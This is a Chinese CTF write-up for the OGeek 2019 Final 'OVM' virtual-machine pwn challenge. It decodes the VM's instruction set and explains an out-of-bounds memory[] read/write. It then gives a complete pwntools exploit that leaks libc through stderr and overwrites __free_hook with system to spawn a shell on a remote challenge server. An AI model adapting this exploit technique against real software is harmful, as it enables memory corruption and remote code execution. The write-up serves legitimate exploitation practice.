OGeek_2019_Final OVM题解

24
五月
2021

WP

  • 程序分析
    • 程序主逻辑分析
    • 虚拟机指令分析
  • 利用思路
  • exp
  • 总结

程序分析

  本题目是一道典型的虚拟机题目,通过这道题目,我们可以学习一下VM pwn题的分析技巧和利用思路。
  该题目程序和远程环境可以在buuoj上找到,下面老规矩先检查下程序信息,64位小端程序,没有开启栈保护。

check-pwn
  做虚拟机的pwn题,我们可以分两大步骤进行,首先先分析一下这个程序是如何实现虚拟机功能的,也就是程序自身的大逻辑,然后我们再详细分析程序虚拟出来的指令,分析指令的过程可能会比较耗时,需要耐心。

程序主逻辑分析

  我们首先来看一下程序的大逻辑,程序本身是没有去除符号表的,再结合自身的理解,可以将程序恢复如下面截图所示。先看main函数前半部分,comment是malloc出来的一块内存,然后该程序会要求我们输入pc值,sp值以及code size。这里的pc也就是程序指令索引,sp可以看成栈指针,code size也就是指令条数。之后会结合sp和code size对我们输入的数据做一个简单的判断。这里可以注意一下reg[]这个数组,该数组对应虚拟机的寄存器,可以看到sp和pc分别存储在reg[13]和reg[15]中。

main-1
  我们再来看一下main函数的后半部分,如下截图所示,这里会根据我们输入的code size也就是指令条数来循环读取指令。然后令running = 1,启动虚拟机,fetch()会根据reg[15]也就是pc值来取指令,取完一条后自增一;execute执行指令功能,对应程序虚拟出来的指令。最后当虚拟机退出时,我们可以向comment写入内容,sendcomment实际功能是free掉这个堆块,之后程序结束。

main-2

虚拟机指令分析

  接下来,我们进入第二步,分析出程序虚拟的指令。这里execute函数代码比较长,就不再一步步分析,我们可以看一下代码最开头的逻辑就知道如何分析了。
  如下截图所示,结合前面读取指令使用的格式化符号%d,以及这里的处理逻辑,我们可以分析出指令字长(instr)为32bit。进一步分析前面几行代码,我们可以推断出该指令为三操作数指令,取4字节最高位字节作为操作码,dst是第二个字节的低四位,op2是第三个字节的低四位,op1是最后一个字节的低四位。这里只取低四位,是因为后面的操作都是在reg寄存器中,所以只需要低四位即可。

vm-code
  利用上面的分析思路,这里我将分析出来的指令总结如下。

instr  -->  op | dst | op2 | op1  4B 32bit

op:
0x10 --> reg[dst] = op1
0x20 --> reg[dst] = (op1 == 0)
0x30 --> reg[dst] = memory[reg[op1]] --> mov mem, reg
0x40 --> memory[reg[op1]] = reg[dst] --> mov reg, mem
0x50 --> stack[sp++] = reg[dst] --> push reg
0x60 --> reg[dst] = stack[--sp] --> pop reg
0x70 --> reg[dst] = reg[op1] + reg[op2] --> add
0x80 --> reg[dst] = reg[op2] - reg[op1] --> sub
0x90 --> reg[dst] = reg[op1] & reg[op2] --> and
0xA0 --> reg[dst] = reg[op1] | reg[op2] --> or
0xB0 --> reg[dst] = reg[op1] ^ reg[op2] --> xor  
0xC0 --> reg[dst] = reg[op2] << reg[op1]--> <<
0xD0 --> reg[dst] = reg[op2] >> reg[op1]--> >>
0XE0 and else --> exit

利用思路

  程序的漏洞位于上面分析出来的两条mov指令中,即memory[]数组在取值和存储的过程中没有检查边界,而该变量位于bss段上,所以可以利用其边界溢出进行地址泄露和覆盖。
  具体操作,利用memory[]数组越界泄露stderr的地址,注意这里一个reg只能存储4B的值,所以需要用两个寄存器来存储stderr的地址,reg[3]存储高4位,reg[2]存储低4位。而只有当虚拟机退出的时候,才能打印reg寄存器的值,所以我们直接计算出stderr和free_hook的偏移,修改reg[2]为free_hook-0x8的低4位,此时reg[3]reg[2]合在一起就是free_hook-0x8的地址。之后利用数组越界将comment存储的地址覆盖为free_hook-0x8,退出虚拟机,利用此时reg[3]reg[2]中的值计算出system的地址,然后在编辑comment时输入"/bin/sh\x00"+p64(system),之后执行free即可获取shell。

exp

from pwn import *


ld_path = ""
libc_path = "/home/fanxinli/libc-so/libc-2.23-64.so"
# p = process([ld_path, ""], env={"LD_PRELOAD":libc_path})
# p = process([ld_path, ""])
# p = process("./pwn")
p = remote("node3.buuoj.cn", 27542)

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()


def gen_code(op, dst, op1, op2):
    code = (op<<24)+(dst<<16)+(op1<<8)+op2
    print(hex(code))
    return str(code)

sla("PC: ", "0")
sla("SP: ", "1")
sla("CODE SIZE: ", "24")
ru("CODE: ")

# copy stderr addr --> reg[3]reg[2]
sl(gen_code(0x10, 0, 0, 26))  # reg[0] = 26 (stderr offset)
sl(gen_code(0x80, 1, 1, 0))   # reg[1] = reg[1] - reg[0]
sl(gen_code(0x30, 2, 0, 1))   # reg[2] = memory[reg[1]] (stderr low 4B)
sl(gen_code(0x10, 0, 0, 25))  # reg[0] = 25
sl(gen_code(0x10, 1, 0, 0))   # reg[1] = 0
sl(gen_code(0x80, 1, 1, 0))   # reg[1] = reg[1] - reg[0]
sl(gen_code(0x30, 3, 0, 1))   # reg[3] = memory[reg[1]] (stderr high 4B)

# modify reg[3]reg[2] --> free_hook-0x8
sl(gen_code(0x10, 4, 0, 0x10))# reg[4] = 0x10
sl(gen_code(0x10, 5, 0, 8))   # reg[5] = 12
sl(gen_code(0xC0, 4, 4, 5))   # reg[4] = reg[4] << reg[5]
sl(gen_code(0x10, 5, 0, 0xa)) # reg[5] = 0xA
sl(gen_code(0x10, 6, 0, 4))   # reg[6] = 4
sl(gen_code(0xC0, 5, 5, 6))   # reg[5] = reg[5] << reg[6]
sl(gen_code(0x70, 4, 4, 5))   # reg[4] = reg[4] + reg[5]
sl(gen_code(0x70, 2, 4, 2))   # reg[2] = reg[4] + reg[2]

# modify comment content --> free_hook-0x8
sl(gen_code(0x10, 4, 0, 8))   # reg[4] = 8
sl(gen_code(0x10, 5, 0, 0))   # reg[5] = 0
sl(gen_code(0x80, 5, 5, 4))   # reg[5] = reg[5] - reg[4]
sl(gen_code(0x40, 2, 0, 5))   # memory[reg[5]] = reg[2]
sl(gen_code(0x10, 4, 0, 7))   # reg[4] = 7
sl(gen_code(0x10, 5, 0, 0))   # reg[5] = 0
sl(gen_code(0x80, 5, 5, 4))   # reg[5] = reg[5] - reg[4]
sl(gen_code(0x40, 3, 0, 5))   # memory[reg[5]] = reg[3]
sl(gen_code(0xE0, 0, 0, 0))   # exit

# count
ru("R2: ")
low = int(rud("\n"), 16)+8
ru("R3: ")
high = int(rud("\n"), 16)
f_hook = (high<<32)+low
print("f_hook: ", hex(f_hook))
libc = ELF(libc_path)
base = f_hook-libc.sym["__free_hook"]
print("base: ", hex(base))
sys = base+libc.sym["system"]
print("sys: ", hex(sys))

# attack
pad = b"/bin/sh\x00"+p64(sys)
s(pad)

shell()

总结

不忘初心,砥砺前行!

TAG

网友评论

共有访客发表了评论
请登录后再发布评论,和谐社会,请文明发言,谢谢合作! 立即登录 注册会员